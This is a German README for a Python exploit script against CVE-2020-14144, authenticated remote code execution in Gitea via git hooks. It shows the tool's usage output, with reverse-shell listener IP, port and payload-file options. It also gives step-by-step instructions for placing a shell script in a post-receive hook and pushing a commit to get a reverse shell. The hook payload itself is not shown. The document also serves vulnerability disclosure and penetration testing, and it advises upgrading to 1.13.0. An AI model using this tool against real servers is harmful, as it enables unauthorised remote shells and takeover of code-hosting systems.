
Ein Skript zum Ausnutzen von CVE-2020-14144 – authentifizierte Remote-Codeausführung in GiTea mithilfe von Git-Hooks
Ein Skript zur Ausnutzung von CVE-2020-14144 – GiTea authentifizierte Remote-Codeausführung mithilfe von Git-Hooks
-f$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
Um diese Schwachstelle/dieses Feature erfolgreich auszunutzen, sollte die GiTea-Version des Zielservers zwischen Version 1.1.0 und Version 1.13 liegen, und du benötigst ein gültiges Konto (Benutzername, Passwort) mit aktivierten Rechten „May create git hooks“.

Aus Sicht der Systemadministration sieht der Gitea-Prozess vor der Ausnutzung wie folgt aus:

Zunächst müssen wir mit unserem Konto ein Repository über die GiTea-Weboberfläche erstellen. Wir erstellen das Repository und gehen zu Settings -> Git Hooks -> Post Receive Hook. In diesen Hook kannst du ein Shell-Skript schreiben, das nach dem Empfang eines neuen Commits ausgeführt wird.

Nun erstellen wir ein temporäres Verzeichnis auf unserer Angreifer-Maschine und pushen in das entfernte Repository. Dadurch wird das Post Receive Hook-Skript ausgelöst.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
Nachdem wir den Commit in das entfernte Repository gepusht haben, wird das Post Receive Hook-Skript ausgelöst und wir erhalten eine Reverse Shell!

Nach der Ausnutzung kann ein Systemadministrator unsere abgetrennte Reverse Shell leicht in den Kindprozessen von GiTea sehen:

Es wird empfohlen, mindestens auf Version 1.13.0 zu aktualisieren.
Pull Requests sind willkommen. Eröffne gerne ein Issue, wenn du weitere Funktionen hinzufügen möchtest.